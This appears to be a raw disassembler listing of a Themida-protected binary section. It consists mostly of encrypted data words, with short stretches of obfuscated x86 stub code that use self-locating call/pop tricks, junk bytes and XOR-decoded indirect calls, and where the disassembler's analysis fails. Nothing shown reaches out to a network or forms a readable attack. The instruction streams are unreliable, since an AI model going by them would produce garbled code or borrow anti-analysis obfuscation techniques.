0E0B5863Ah, 57C7245Ch, 81F1525Fh dd 0CAF2C6F4h, 0A7CB6522h, 0A5203E67h, 1086847Ch, 3D012EFFh dd 9B8D5286h, 8EEE1B16h, 24128202h, 3D12042Bh, 7CA12412h dd 916938Dh, 0BF2A1F8Eh, 5F9DBD9Ch, 46B6347Dh, 9385BADFh dd 43704116h, 76474FBFh, 29A894h, 0B1A60000h, 6B7698D7h dd 74A8429Fh, 3DB0BABh, 9BF5F040h, 7ABC8D16h, 93F1D2FBh dd 0C9F49B16h, 0BD1CFD80h, 0C5839Dh, 24970000h, 525F57C7h dd 9D9680F0h, 7B68AE1Eh, 61ED88F8h, 9482F250h, 98F4CFBBh dd 901086F7h, 0FD32C333h, 0A2080E7Eh, 3590AEDEh, 169BF109h dd 2C7A1B2Ch, 52C2408Ch, 617B617Dh, 93FABFE2h, 266D3E16h dd 6A6353C3h, 95FD2580h, 9380108Bh, 0D0EEC131h, 72D25EE3h dd 143B1402h, 6FD3E076h, 0FF3416FFh, 330C0A7Ah, 0CC58DA57h dd 0CEB7FF6Fh, 8B38C6A9h, 0FE351A71h, 330C0A7Ah, 7548811Ch dd 1D17B1BEh, 1CD95h, 7CEC4A00h, 0B7278A99h, 84F451DEh dd 4EBE42F1h, 8AFA78A7h, 0C4FFACEBh, 101FF666h, 0C9563FAFh dd 51AFB6Bh, 745F36A6h, 1AB6DB6Ah, 0B435169Ch, 0DF624F88h dd 2C8E7B6Fh, 0E94AD9BCh, 0AB909C79h, 0D903DB0Bh, 0F2194003h dd 0D3571086h, 0FEECBD63h, 9BF5939Fh, 9D99AA16h, 0A00182AFh dd 93F1FC25h, 81AE7F16h, 0C89FB895h, 2C33571Bh, 588520CAh dd 251693C3h, 0A306436Ah, 439DBD4Bh, 0CF67AA19h, 35061693h dd 0D0E555h, 4FC10000h, 0C382E362h, 1086F29Eh, 33634C5Dh dd 0F2B7DA69h, 65361086h, 1073A04Ah, 5C09EA0h, 1086F2DCh dd 32DC8E9Fh, 6551C141h, 86F78EDEh, 99018210h, 624E1ADFh dd 96BB8A64h, 5510869Bh, 0B1446B44h, 0CD910182h, 0D3F6CD8Fh dd 9A10869Bh, 9BF51C89h, 0A7781086h, 1FDF49C3h, 0C874CFEFh dd 6D169B9Dh, 7D52C240h, 3E6E1298h, 77F53E20h, 4C3E0F07h dd 8BF2C671h, 9AA47510h, 2A8D1999h, 26E29DBAh, 98FE1D81h dd 0F151DEB7h, 40BDFC81h, 90A6B1BDh, 0AD34h, 9C0C6A00h dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 1BD6FBCAh dd 0D495169Ch, 56C62468h, 0A31370BFh, 0C72466D2h, 0F1525F57h dd 0F2C6F481h, 0D1E2FCC2h, 39160070h, 0CF2B7251h, 0F9CA16A1h dd 360DCFBDh, 169C2F13h, 246DD8DAh, 0C7169C2Fh, 0E1FED9F6h dd 0BDB2C055h, 991A17F3h, 54D74C29h, 0A653B2E4h, 4559B02Ah dd 5BD8EFDEh, 96150AEBh, 951B1826h, 6E1CF125h, 0DD4DB3C0h dd 0E151B001h, 81280B09h, 8AFA794Eh, 47B734EBh, 8F34Fh dd 4FC70000h, 7B6FDF62h, 0CA24A199h, 0E4475C5Ah, 0D3314274h dd 0B93E3363h, 0D6544D49h, 0BF433066h, 0D65A474Fh, 0C2433066h dd 0EA4F6452h, 57783C7Ah, 0BE56E789h, 4, 835EF701h, 3C8704EFh dd 89525C24h, 4C281E2h, 83000000h, 148704EAh, 4895C24h dd 5DF26824h, 1C890000h, 6A73B824h, 0C0832766h, 5D8F7FFh dd 427D2C07h, 0B46C2935h, 359C3539h, 0B22D4D6Bh, 5469AEBAh dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 438F2404h, 2434FF08h dd 4C4815Bh, 8B000000h, 89522404h, 4C281E2h, 81000000h dd 4C2h, 24148700h, 93B4E95Ch, 0B9F4FFFAh db 1Dh, 8Ch ; --------------------------------------------------------------------------- loc_5D84D2: ; CODE XREF: Themida_:loc_5D7748j mov eax, 61AEA18h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 81h dd 2A646542h, 995E3236h, 0E94867EEh, 0ABh, 820E435h, 94h dd 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h, 3220h dd 20h dup(0) dd 0E9000000h, 0BA0h, 1AECF368h, 92DCE906h, 2F68FFFAh dd 0E9061AEEh, 0FFFA92D2h, 1AEF3D68h, 92C8E906h, 0B768FFFAh dd 0E9061AEFh, 0FFFA92BEh, 1AF10D68h, 92B4E906h, 6C68FFFAh dd 0E9061AF1h, 0FFFA92AAh, 1AF4CA68h, 92A0E906h, 9668FFFAh dd 0E9061AF5h, 0FFFA9296h, 20F565E1h, 573EAE13h, 18FD6DC8h dd 6035A50Bh, 16FF6FD3h, 13970A81h, 0DA5DD2A3h, 18948B6Ah dd 0D556CDA8h, 17479065h, 9C1965ACh, 0B5870816h, 5F57C724h dd 0BD81F152h, 0E684F474h, 2F5F1F87h, 0FB7CB40Fh, 3001169Bh dd 33A3052Eh, 0B6600A03h, 93FB0E4Fh, 73E36016h, 0A7EA5943h dd 461693FBh, 4CBC3E75h, 913CED4Ah, 8E41F852h, 0BD272EBBh dd 2AB69Dh, 0ABD20000h, 0AE03DB0Bh, 0C4DDD949h, 31D9F666h dd 0F598982Bh, 94A5169Bh, 0F1FA23A2h, 0C831693h, 1D45A8A1h dd 0D7CB9DBDh, 0DF000000h, 8757C724h, 0B555C52Ah, 0A0086A77h dd 2C976EEDh, 1086DDE5h, 0F3A0B788h, 0C4417262h, 263B7B54h dd 288955C5h, 0BADF66C7h, 4110868Dh, 66575F70h, 1A998A84h dd 38E6CBAAh, 5F108689h, 7683C67Dh, 3D6A1086h, 734C4ABAh dd 9EC3825Ch, 5D108676h, 0E6D9E4Ch, 0CB28F79Eh, 0E752835Bh dd 13360D32h, 0DA108608h, 430EEEC9h, 0AF39F397h, 44FFDF0Fh dd 169C7B9Ch, 0F5C55061h, 764D1141h, 108B0DB5h, 0D6DBE3B4h dd 2211E454h, 256D30A0h, 3EB1BDF5h, 96FBC38h, 97170000h dd 60E14E27h, 0AF0E25F0h, 67C9563Fh, 0B1111EF7h, 0B4F7B441h dd 6C0979F9h, 35C030B7h, 670E7EFEh, 2ACB3BB8h, 0CB0EB599h dd 0B2169C1Eh, 0C6240B31h, 1370BF56h, 2B88D2A3h, 6E5F57C7h dd 0BAB987Ch, 0F04003DBh, 8D169BF5h, 0CA947ABCh, 93F1D6FBh dd 0E6849516h, 93F196B7h, 5B85F16h, 0BD1CB944h, 1173F9Dh dd 5F7D0000h, 93FDBDE4h, 2267DE16h, 0C91693FDh, 677748F8h dd 93FDB5DCh, 83673816h, 57C7248Fh, 80F0525Fh, 56BC896h dd 0F2F821A4h, 0B2831086h, 10CEED9Dh, 5C1086F6h, 0C4866FDFh dd 0ED9D0D6Fh, 0FA57BF3Ch, 474F5DFh, 921A3D12h, 223C13B5h dd 724AD335h, 0E95CC874h, 108607A0h, 0B5557A4Bh, 1D4DF177h dd 2494F041h, 0E76D1DF2h, 9CF0B45Ch, 58DAD716h, 0DD1AEE8h dd 90FA1336h, 21C9DA16h, 0E1C9AC7Dh, 0FF6FD11Dh, 75D00ED0h dd 1690FA2Ch, 0FAB3D66Dh, 693A1690h, 3204E6B7h, 7B092B2Ch dd 0EA624BA0h, 0B6F5A500h, 0B7881088h, 0B9298AA7h, 18B7807Dh dd 160AB777h, 3E73C9A1h, 7AA94CBCh, 0E52C97F8h, 881CAB69h dd 0B70598B7h, 0B0B1BD96h, 8333EC6h, 0F3530000h, 0BC3DF283h dd 0FB7AA94Ch, 0B335EA8Bh, 0FD7DB243h, 0F8B3E88Dh, 20F565C5h dd 593CAC13h, 1BFA6ACAh, 5E37A704h, 0B7DA6975h, 36169C1Ch dd 624F87B5h, 9B9872E2h, 8CCEA717h, 0B555C527h, 0EE87F774h dd 57C7244Ah, 81F1525Fh, 0FD249FBDh, 801086F2h, 2E5088AFh dd 2C59BFDh, 0D99D0D68h, 2E2E95A9h, 4F16A13Eh, 0F053607Eh dd 79D0F580h, 0A2169D3Fh, 3CC009BCh, 0A2AB169Dh, 98FC1B7Dh dd 402A05ADh, 0DF5DA95Ah, 0CB5406Fh, 2149ED04h, 71BFA63Ch dd 0B787A821h, 8075040Ch, 0BF3C6910h, 279E604Fh, 0A87F7127h dd 8E508040h, 6056C625h, 0ADF44F6Fh, 508F7F62h, 93C98B7Fh dd 0BEAC1C9Eh, 658ACFDFh, 53F2EC89h, 0B6884A0Eh, 4302DCEDh dd 0B6884A1Eh, 7A1ECCDDh, 3BFB6DA9h, 4A66AB1Ah, 3405B688h dd 8180431Bh, 7AB091DCh, 4A4CBC39h, 10219575h, 0FA86E54Eh dd 1B8BED79h, 220D0234h, 0EF5FDC53h, 0C4062E0Eh, 2B87AD11h dd 725h, 0A075E561h, 0D7BE2E93h, 987DED48h, 0E0B5258Bh dd 967FEF53h, 93178A01h, 5ADD5223h, 98140BEAh, 55D64D28h dd 97C710E5h, 9C1DE52Ch, 35078816h, 3DB0BABh, 0A1DCDC40h dd 90F23F16h, 45564A20h, 49B93879h, 53986075h, 1A339025h dd 9C3E66ABh, 1B340516h, 0AA0F246Fh, 2112FC3Ah, 3CAC139Fh dd 0D2A05FAh, 657EF0EFh, 0DD4E3C55h, 290FEE5Eh, 0B6B7D0C2h dd 6AB44C0h, 5BDB0000h, 94150AEBh, 63E25124h, 0AB0D22F3h dd 65C55A3Bh, 8B20F5h, 0D8BD2D8Dh, 0A174E44Bh, 33C23292h dd 660F7FFCh, 8FD2715Dh, 6E169C1Dh, 0BAB8FADh, 0DC4003DBh dd 0A116A1DCh, 18FD249Fh, 0AF80169Ch, 25A0BE80h, 169C18FCh dd 0A31D8DF2h, 4D66F892h, 0B3977EEEh, 18F71AA9h, 0B114169Ch dd 169C1868h, 8D9E0213h, 0D606B3DDh, 18603D08h, 0B6E3169Ch dd 0FBD4C232h, 3B63E2D4h, 0C4169C18h, 82E7624Dh, 0A9DC308h dd 48h, 0DE0EAB1Eh, 0F2104500h, 0D2E31086h, 0DCADCB0Ch dd 13598043h, 13241086h, 5D37C044h, 6890417Ah, 36D442F1h dd 9E1D16F8h, 3C613C2Eh, 0C91086A8h, 7FEA5F4Eh, 1F97A878h dd 4D3DAD12h, 7EDh, 0F0B5C900h, 0D1000001h, 93B68D4Fh dd 5A1086F2h, 10FEA149h, 6ED11DE1h, 0DDF262E2h, 0F3CBE4D9h dd 0FB6BC8E9h, 7D28C2BBh, 169BFB95h, 8C37C7D8h, 0C624ABFFh dd 0C698C878h, 23A3AFFFh, 999DAEA3h, 0F71AA9B3h, 76AB5213h dd 2BCBC5A5h, 0E160E3FBh, 7CAD4B85h, 93C993ABh, 0FAAB1B9Eh dd 0D16BA1D7h, 24E58596h, 2A8757C7h, 705E58C8h, 6BA18CD5h dd 715E6FD1h, 6350FA99h, 484571E1h, 0A21271A2h, 0FDDEEFDBh dd 8202F4FBh, 555h, 9065D531h, 0C7AE1EA3h, 886DDD58h, 0D0A5159Bh dd 866FDF63h, 0C3279A11h, 0A6DC253h, 0C824FB9Ah, 566BD58h dd 7D70095h, 9C03153Ch, 2517D816h, 5F57C724h, 0E9F525D9h dd 9BFC5A5Ah, 2BCADB16h, 9ABD361Fh, 481CDD1Ch, 0F70EA86Fh dd 0AF5BD644h, 0C910182h, 0B7D55716h, 0F65FE3D1h, 90000004h dd 2FC636h, 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h dd 9C0C6E21h, 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h dd 169C036Ch, 4FAE8E0Fh, 4670E062h, 1370A149h, 2C19BA3h dd 1086F2DFh, 2FDD8D9Eh, 8D51C142h, 6056C624h, 0F6917B6Fh dd 86CB7A64h, 651086F2h, 0D4FBB654h, 15F6391Eh, 8A023335h dd 60D033E0h, 599D2095h, 492397A8h, 19000000h, 1C90893Ch dd 0FEEC9671h, 0E1624F16h, 5F1F9971h, 10B40F2Fh, 25169BFBh dd 7AA32214h, 6C1693FBh, 0A872A911h, 68277DD9h, 0DD624F47h dd 2280C97Ch, 5A6B1693h, 46AD4175h, 33DE4C97h, 0EA30BD8Ch dd 50B89DBDh, 0D4000000h, 3DB0BABh, 0F2276AD9h, 0F5C61086h dd 0BB843F15h, 0BA169C41h, 0AA07D5E9h, 31D949h, 41841181h dd 1693A21Dh, 4588F053h, 98DAE813h, 0E4FAC4EBh, 93573861h dd 18F2C316h, 0D343A67Dh, 0B250CA0Bh, 5166D655h, 9971B152h dd 3EB179Bh, 4FF30000h, 0F293B68Dh, 495A1086h, 1747F7A1h dd 0F6D87C47h, 9B9D169Bh, 93F6E128h, 9CBB8C16h, 0CF76E8F7h dd 0CDC9E6B2h, 0AFE757D4h, 0ED05B83Fh, 480D54EFh, 0CA871693h dd 0ECA0E944h, 0DE8C9D03h, 0AD404B4h, 942071CDh, 4F3BE4A2h dd 0C80DCF0Dh, 1EE6F8C7h, 0EB2E9786h, 921693FDh, 1ABAE981h dd 0DB108EF9h, 77F42BCAh, 84D0F07h, 834C7FA1h, 4A701A0Ch dd 0CD784676h, 1AB6914Dh, 12820330h, 1F30A021h, 1BA70A17h dd 1CF12595h, 8AEE0333h, 1D841C1Ah, 0A51431B2h, 0BE2E8D3Ah dd 0FF2FCFD7h, 0B65464DFh, 0BCE904A3h, 0DDE1CE3Eh, 6E454D4h dd 0AD184608h, 8D23664h, 0D7543607h, 0FC6CC854h, 0ACEAC5BAh dd 856D60C9h, 0BF42CE2Ch, 5976474Fh, 73707B1h, 0C22C8C37h dd 40510EC8h, 8DFD7EB5h, 930380B1h, 0C6243DF7h, 2ABBDE65h dd 71420EEFh dd 61C8585Eh, 6ADA596Eh, 2B5B1B8Bh, 0D1A0B013h, 0CCDD08F5h dd 0EA5AD9CAh, 0AC05C9ACh, 0E5DADC4Ch, 2B238A05h, 59835B8Bh dd 299C083h, 626434F8h, 0F802BEE3h, 436C3D34h, 0F91CFCA7h dd 506132E2h, 9D0D6EC5h, 0CA2B8899h, 12FAD6FBh, 0B384953Ah dd 11DB357Ch, 9FBF900Dh, 0D3C33392h, 0D98510FAh, 0F0FBBDFCh dd 96744F51h, 122C5C1Ch, 0FA97FB3h, 0E92DFE3Ch, 2FA9438Ah dd 5A852C20h, 0A4149B98h, 0BEED9D72h, 0C851793Bh, 0E656D6DBh dd 0F2BDFB0h, 29h, 0DB0BAB2Bh, 0F5F04003h, 0BC8D169Bh dd 7BC3947Ah, 1718C225h, 8BD2F199h, 74169358h, 0B23712BDh dd 3A9DBDC3h, 0E9h, 57C7244Eh, 80F0525Fh, 2F96C896h, 1086F2EAh dd 29EA8091h, 475C5ACAh, 0DEE97CE4h, 9199CBCh, 0B4724F26h dd 0B8108655h, 0F52ACB3Bh, 1686EA76h, 630A01Dh, 8AF02609h dd 0A7086AB6h, 8655F51Ch, 88A77810h, 0C09EB18Eh, 9B533905h dd 0CB733C16h, 2EA6F203h, 1945D0FFh, 0E5598043h, 13241693h dd 4D7D4177h, 52C24071h, 0BD7F6B64h, 8B8AC206h, 0C49AAB10h dd 0A919999Ah, 39FA906Dh, 0A4ED58B9h, 0DE1CAA30h, 0D61D928Ch dd 0C2D34DE7h, 61E0D1EDh, 50ACC5F1h, 0F6D9B6E0h, 48AA7914h dd 4C3945D8h, 94A2B1BEh, 19830h, 2090EE00h, 0EB5BDE55h dd 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h, 24FB9A0Ah dd 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 65A7F46h, 6021169Ch dd 56C624DCh, 0A31370BFh, 0C52B88D2h, 7E6C6155h, 0DB0BAB96h dd 57D8D903h, 989803E7h, 0A5169BF5h, 0FA23A294h, 831693F1h dd 45A8A10Ch, 0CB9DBD1Dh, 0ACh, 57C724DFh, 55C52A87h, 907E6C61h dd 67AF1FA3h, 86F65E0Ch, 0C1319210h, 1B7CFF34h, 0F75F8241h dd 0D1E1086h, 86F77198h, 42BFC10h, 0A8D8A812h, 0F10F2F96h dd 1D2E169Bh, 5FDDD678h, 0A9720AF7h, 0A28DB736h, 1B989B74h dd 25D9BFABh, 0D95AE9F5h, 58108B95h, 0B83A7747h, 0F476AD48h dd 7EE7F984h, 0FEF8B1BEh, 0CC76h, 0CC3CBA00h, 777FA29h dd 0D444C16Eh, 1E8EF241h, 0DA4AA877h, 742F5C3Bh, 40EF86F6h dd 79A64FBFh, 35EA8BFBh, 24AF46B6h, 7468B3Ah, 6425169Ch dd 56C624D8h, 0A31370BFh, 0EF5688D2h, 1086F2AAh, 72AA4051h dd 407D864Fh, 7058353Ch, 0B21A999Ah, 22D59D74h, 0A096B9EAh dd 35C03093h, 0BD81B185h, 0A12B1A06h, 64526316h, 47B7397Ah dd 950566A3h, 60D03300h, 0E715CF36h, 4DD418DAh, 96066562h dd 0D4565BFFh, 7A5D3264h, 0ABCF2FDEh, 0DB58323Ch, 0B5AEE858h dd 0DED3C333h, 0B6ABEB5Bh, 5FCFC737h, 0C7FEE5D8h, 0DB586F5Eh dd 73C08A6Bh, 9875A111h, 52C241F2h, 13E064h, 4FBC0000h dd 5BCA5A86h, 43883E61h, 74A7EA7Eh, 339D1FEh, 5ACA24F7h dd 74E4475Ch, 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h dd 66D65A47h, 52C24330h, 7AEA4F64h, 6568783Ch, 8900000Ch dd 0BA522424h, 4, 4245401h, 0E089505Ah, 405h, 4E88300h dd 5C240487h, 57240C89h, 0C781E789h, 4, 4EF81h, 3C870000h dd 1C895C24h, 4EC8124h, 89000000h, 0C1BB241Ch, 0B9298B5Ch dd 2FA6487Eh, 685BD929h, 5FEFh, 83242489h, 5B042404h, 8BA52h dd 0DA010000h, 89CD8955h, 0FF5A5D2Ah, 815B2434h, 4C4h dd 2434FF00h, 4C48359h, 0FA8749E9h, 5A60ABFFh, 1AF687B8h dd 0FFC50306h, 8456B7E0h, 237A8447h, 24C98C03h, 0EAC9944Ch dd 0AF3C4915h, 98BECA7Fh, 6F84D36Eh, 0CAD70529h, 0D2DDF54Eh dd 0AAAB5358h, 65BBE979h, 24EB22h, 8 dup(0) dd 0E9000000h, 0BDh ; --------------------------------------------------------------------------- loc_5D919C: ; DATA XREF: Themida_:0057B45Co mov [ebp+61AF744h], esi mov eax, [ebp+6152DB5h] mov eax, [ebp+615096Dh] lea esi, [ebp+61AF78Eh] lea eax, [ebp+6184559h] call eax retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 61AF794h cmp dword ptr [ebp+6152DB5h], 1 jnz loc_5D9203 push dword ptr [ebp+61AF744h] mov eax, [ebp+615096Dh] xor eax, 34812736h call eax cmp al, 1 jnz loc_5D91FC mov eax, 1 jmp loc_5D9243 ; --------------------------------------------------------------------------- loc_5D91FC: ; CODE XREF: Themida_:005D91ECj xor eax, eax jmp loc_5D9243 ; --------------------------------------------------------------------------- loc_5D9203: ; CODE XREF: Themida_:005D91D1j push 1Ch lea esi, [ebp+61AF748h] push esi push dword ptr [ebp+61AF744h] mov eax, [ebp+615096Dh] ; CODE XREF: sub_5D9272+18j xor eax, 34812736h ; CODE XREF: Themida_:005D926Bj call eax add esp, 0Ch lea esi, [ebp+61AF748h] mov eax, [esi+14h] and eax, 4 cmp eax, 4 jz loc_5D923E xor eax, eax jmp loc_5D9243 ; --------------------------------------------------------------------------- loc_5D923E: ; CODE XREF: Themida_:005D9231j mov eax, 1 loc_5D9243: ; CODE XREF: Themida_:005D91F7j ; Themida_:005D91FEj ... cmp dword ptr [ebp+6152DB5h], 1 jnz loc_5D9257 pop ebp retn ; --------------------------------------------------------------------------- jmp loc_5D9259 ; --------------------------------------------------------------------------- loc_5D9257: ; CODE XREF: Themida_:005D924Aj pop ebp iret ; --------------------------------------------------------------------------- loc_5D9259: ; CODE XREF: Themida_:005D9252j lea eax, [ebp+61AF76Dh] mov [ebp+6151A2Dh], eax call sub_5D9272 cld jle short near ptr loc_5D9218+3 in eax, dx stosd xlat ror dh, cl ; =============== S U B R O U T I N E ======================================= sub_5D9272 proc near ; CODE XREF: Themida_:005D9265p mov dx, cx pop esi call loc_5D928D xor edx, esp stc setalc xchg eax, edi scasb test ds:43875BD6h, dl cmp [ecx-70h], edx repne jnz short near ptr loc_5D9212+4 sub_5D9272 endp ; sp-analysis failed loc_5D928D: ; CODE XREF: sub_5D9272+4p movsx eax, dx pop eax add esi, 6D63h mov dx, si mov edi, 1B26h mov bh, dl loc_5D92A1: ; CODE XREF: Themida_:005D931Cj mov ecx, [esi] mov bx, ax sub ecx, 68E6BF33h jg loc_5D92B5 mov ax, dx loc_5D92B5: ; CODE XREF: Themida_:005D92ACj xor ecx, 33EFAA58h mov dh, 44h sub ecx, 33A5E0A1h push ecx jmp loc_5D92D7 ; --------------------------------------------------------------------------- db 0B2h, 2Ch, 0Fh dd 7A8CA218h, 0A7C0D1C7h db 0E2h, 0F8h, 0D4h ; --------------------------------------------------------------------------- loc_5D92D7: ; CODE XREF: Themida_:005D92C4j ; Themida_:005D92F6j pop dword ptr [esi] mov ebx, 5EC10690h sub esi, 9953B0Fh jmp loc_5D92FB ; --------------------------------------------------------------------------- db 34h ; --------------------------------------------------------------------------- loc_5D92EA: ; CODE XREF: Themida_:005D9327j insd pop eax mov esp, [edi] setalc test [ebx], ecx in eax, dx mov byte ptr [ecx-5Ch], 72h jb short near ptr loc_5D92D7+1 stosb inc ecx ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_5D92FB: ; CODE XREF: Themida_:005D92E4j add esi, 9953B0Bh jmp loc_5D9319 ; --------------------------------------------------------------------------- mov edi, 72997FA6h aad 6Eh retn ; --------------------------------------------------------------------------- dw 0D247h dd 0C2E2C11Eh, 0E4F3E0B1h ; --------------------------------------------------------------------------- cmpsd loc_5D9319: ; CODE XREF: Themida_:005D9301j sub edi, 1 jnz loc_5D92A1 call sub_5D9335 jle short loc_5D92EA inc edx shr byte ptr [esi+0], 0A0h inc eax retf 9F94h ; --------------------------------------------------------------------------- dw 6EBh ; --------------------------------------------------------------------------- push ecx ; =============== S U B R O U T I N E ======================================= sub_5D9335 proc near ; CODE XREF: Themida_:005D9322p mov dx, di pop ebx lea ecx, [ebp+61AFA03h] push 0 push ebp call sub_5D934A and [ebp-3Dh], bl sub_5D9335 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D934A proc near ; CODE XREF: sub_5D9335+Dp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5D934A endp ; --------------------------------------------------------------------------- dw 0A643h dd 218D897Bh, 60061527h, 95292DB4h, 6150709h, 0CD85C761h dd 0CC061504h, 6A000071h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 742DC356h, 0F4377FA4h dd 0BF6677D1h, 85C799B1h, 6151115h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5D93B3 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D93B3 proc near ; CODE XREF: Themida_:005D93ABp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5D93B3 endp ; --------------------------------------------------------------------------- db 0F7h ; --------------------------------------------------------------------------- stosb add [ebp+6152A61h], edi jns loc_5D93E0 jmp loc_5D93E0 ; --------------------------------------------------------------------------- lahf push edx cwde rcl dword ptr [ebp+esi+52h], 26h pop cx loc_5D93E0: ; CODE XREF: Themida_:005D93CBj ; Themida_:005D93D1j push dword ptr [ebp+6150009h] push 0 push ecx call sub_5D93F1 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D93F1 proc near ; CODE XREF: Themida_:005D93E9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_5D93F1 endp ; --------------------------------------------------------------------------- db 52h, 80h, 0F7h dd 89928945h, 150BF1BDh, 358D8906h, 0E8061522h, 8, 4B84D490h dd 9797C5ABh, 0C995FF5Fh, 66061502h, 6AF622BBh, 2195FF00h dd 8B06152Eh, 544DEBC0h, 3BCAA122h, 2E8BB10Fh, 4623C141h dd 9BB23EE0h, 0D4142C8h, 5AC2D53Eh, 3E991C9h, 2FDED5A2h dd 0C21F4CAEh, 0FBFBDCCh, 0B3980475h, 1BD07FA7h, 6CEBBDE0h dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 35616EE3h dd 2E3A5ADDh, 2CE9h, 0B747A400h, 53000011h, 2, 8 dup(0) dd 0C3AE900h, 3B680000h, 0E9061AFCh, 0FFFB4E48h, 1AFD3868h dd 4E3EE906h, 0BB68FFFBh, 0E9061AFEh, 0FFFB4E34h, 1AFFB368h dd 4E2AE906h, 7468FFFBh, 0E9061B00h, 0FFFB4E20h, 1B023B68h dd 4E16E906h, 0D668FFFBh, 0E9061B02h, 0FFFB4E0Ch, 1B042C68h dd 4E02E906h, 2968FFFBh, 0E9061B05h, 0FFFB4DF8h, 91F38A6Bh dd 97B02E6h, 93F5887Eh, 0F81FCE8h, 9DEF8E84h, 5C4EA81Eh dd 0EBE4AF21h, 64473292h, 0E1CCB719h, 77742C9Ch, 23E4DA77h dd 73CBBAA7h, 0C7DE9F86h, 0AD3A432Ah, 0FABBA51Eh, 1806DBA1h dd 0A62C978Dh, 1C6CC26Bh, 25C211AFh, 539FFD49h, 79F019B3h dd 299ECC8Dh, 7E0F1CA7h, 0A1331186h, 24436948h, 0EE9D544Dh dd 0F84C70C3h, 0A7C56D0Eh, 0D4B2C13Bh, 0A7298285h, 1D0C6217h dd 6BEC9A8Ch, 486Ch, 99245E00h, 25A6CCB1h, 1EAF3C8Bh, 64310D2Ah dd 30AD3EDEh, 3A393009h, 3EDF1D3Ch, 0A3CA7FADh, 0DA605ECBh dd 0FAB353E2h, 296C564Fh, 0BFA729DCh, 4247C32Fh, 0B66BECF8h dd 0DDh, 0BDCDDA69h, 544DDD62h, 264C2558h, 0DE9F86A4h dd 0B2CBC451h, 352C02ABh, 0D2CBB298h, 5E495037h, 604F561Fh dd 6BC3BAB5h, 3898E5E0h, 430058EBh, 0F52A6747h, 0BF6AAD3Dh dd 60F8B90h, 6550D630h, 13FAAD3Eh, 14F7A286h, 0E0994069h dd 676910C9h, 0D5CCB19Ch, 7C6BBA76h, 53785482h, 0B71940B3h dd 0D05FAE0Ah, 412041F6h, 3E382BADh, 0AD3C1C1Fh, 0B9A6CC7Dh dd 0F2A390h, 8A800B7Dh, 1B84D1ADh, 6910AD3Ch, 233A432Ch dd 674DC36Ah, 65FA07D0h, 9D31AACh, 0CCC10000h, 3C34DFB1h dd 0CAC44F41h, 3E26D1B3h, 0D0C24D3Fh, 6E5CDBADh, 0EDDF9E94h dd 80502D22h, 0EDDF9E95h, 72522B22h, 84D1AD9Ah, 10A723E2h dd 99242DA5h, 1CD5CCB1h, 28553756h, 8BF2DDA8h, 85F8F19Ch dd 89FD35DCh, 1D6CC43Bh, 0E20A300Eh, 9FCAB353h, 0DB791C06h dd 0FF6FA729h, 0F7B2F773h, 0E9466BECh, 78000000h, 0C7DE9F86h dd 2C35482Ah, 3EE3CC52h, 0A8F76ADh, 0B5C16F28h, 7AA20B4Eh dd 2A03AAB3h, 641910BDh, 0EADE943Dh, 631A10BDh, 0C5B8AF3Ah dd 0F63CF59Ch, 1E0D7057h, 1364310Dh, 685EAD3Eh, 721F4A15h dd 3037FF7Eh, 7563043h, 0C1AD3E14h, 136E9079h, 70998299h dd 206FC9CAh, 0C3732013h, 6F635425h, 0C0CF8E68h, 9CCDAD3Eh dd 739F9DD5h, 23B353D4h, 8F2996F6h, 0FD3B340h, 8FAD4179h dd 0CAC04DDAh, 0E6A3DACFh, 0D4B47D00h, 0D63A4329h, 0FA07B9D8h dd 0D6891DD4h, 0BE000008h, 35E0B0CDh, 0C550403Dh, 27D2B2CBh dd 0C34E3E3Fh, 5DDCACD1h, 0DE9F956Fh, 4F2E23EEh, 0DE9F927Dh dd 512C23EEh, 0CCAAA77Fh, 0A723E18Dh, 8628960Fh, 0AAF7D9A4h dd 1E47361Bh, 9994BF77h, 0EE770600h, 5201EE47h, 9E10427Fh dd 6B12F7A2h, 0AE1C6CC2h, 51DE9F86h, 7CB2CBC4h, 0B55E6E5h dd 35FBA085h, 0BAB5E096h, 0BC74C1C3h, 9A807E6Dh, 0C6B3531Eh dd 332A5337h, 0BE6BB47Ah, 0C02AA231h, 0ED689A7Dh, 9E2D1A45h dd 8AA95EF6h, 1E2D05C6h, 8B765627h, 43F8F3A4h, 0A31DE889h dd 0C7E7D3CAh, 0E22E6F39h, 0DDC8E054h, 6A6530A0h, 0DEB08A13h dd 0E42BEAF3h, 7B168FEEh, 33BEE796h, 38B63C41h, 0EF8778ACh dd 927C0983h, 73BB72EBh, 4090EDD8h, 116C62F3h, 3A432A69h dd 0AB431EADh, 263320Ch, 8312BEBh, 57AEA04Bh, 0F89E881Fh dd 322BEADFh, 4110EEFDh, 532E92DEh, 0CE665026h, 0DEAECFB6h dd 28413C33h, 0DED86DCBh, 2E92DEBFh, 0E6052CDDh, 0A80DC208h dd 0B837E234h, 5418530Bh, 501A7F95h, 74F65759h, 2EA2D8A1h dd 5BD827A1h, 9AFCEF5Bh, 435A0F3Ah, 92A23757h, 0AF43B32Eh dd 55BA7633h, 48B82F3h, 37340000h, 0AD3EDF1Ah, 3EEF3859h dd 